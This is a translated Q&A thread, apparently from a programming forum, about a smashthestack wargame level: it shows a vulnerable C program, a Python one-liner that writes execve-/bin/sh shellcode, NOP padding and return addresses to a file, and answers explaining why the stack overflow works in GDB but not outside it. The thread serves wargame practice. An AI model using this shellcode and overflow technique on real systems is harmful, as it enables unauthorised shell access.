0

我从smashthestack得到这段代码:

//bla, based on work by nnp

#include <stdio.h>
#include <string.h>

void prompt_name(char *name, char *msg){
        char buf[4096];

        int i = 0;
        puts(msg);
        i = read(0, buf, sizeof buf);
        printf("Read %d bytes\n", i);
        *strchr(buf, '\n') = 0;
        strncpy(name, buf, 20);
}

void prompt_full_name(char *fullname) {
        char last[20];
        char first[20];

        prompt_name(first, "Please enter your first name: ");
        prompt_name(last, "Please enter your last name: ");

        strcpy(fullname, first);
        strcat(fullname, " ");
        strcat(fullname, last);
}


int main(int argc, char **argv){
        char fullname[42];

        prompt_full_name(fullname);
        printf("Welcome, %s\n", fullname);

        return 0;
}

我使用这个shellcode执行这个程序:

python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 2009 + "\x90" * 2065 + "\n" + "\x80\xec\x02\xf4\xff\xbf\x03\xf4\xff\xbf\x04\xd4\xff\xbf\xa6\xfc\xff\xbf\xff" + "\n"' > /tmp/in

在 GDBrun < /tmp/in中,一切正常: (gdb) run < /tmp/wliao_in

Starting program: /levels/level06 < /tmp/wliao_in
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Executing new program: /bin/bash

但实际上,它不是:

level6@io:/levels$ cat /tmp/in | ./level06
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Illegal instruction

我不明白这两者有什么不同?

4

2 回答 2

1

在 GDB 内外运行某些东西时会出现很多问题。

首先,环境发生了变化,如此差异所示。添加和删​​除环境变量会更改堆栈上所有内容的地址。

< _=./envp2
---
> COLUMNS=91
8a9
> LINES=39
20a22
> _=/usr/bin/gdb

其次,execve 路径会影响堆栈布局(您使用的是“./level06”,但 GDB 使用的是绝对路径“/levels/level06”)。这可能同时出现在 argv[1] 和堆栈底部(我不知道为什么,但 Linux 会这样做)。

自从我完成那个级别以来已经很长时间了,但是我会尝试将 shellcode 放在命令行参数中(因此没有大小限制),并带有大量的 NOP 雪橇(因此堆栈地址的更改不会产生影响您的漏洞利用是否有效)。

于 2013-04-08T13:31:32.843 回答
0

prompt_name如果名称超过 20,则不会产生由字符name终止的\0字符。在 gdb 中运行时的区别在于,在 gdb 内存和堆栈管理中可能会有所不同,在这种情况下,两个字符串可能会意外地以\0.

对于小于 20 个字符的名称,它适用于我。

于 2013-04-08T13:20:20.003 回答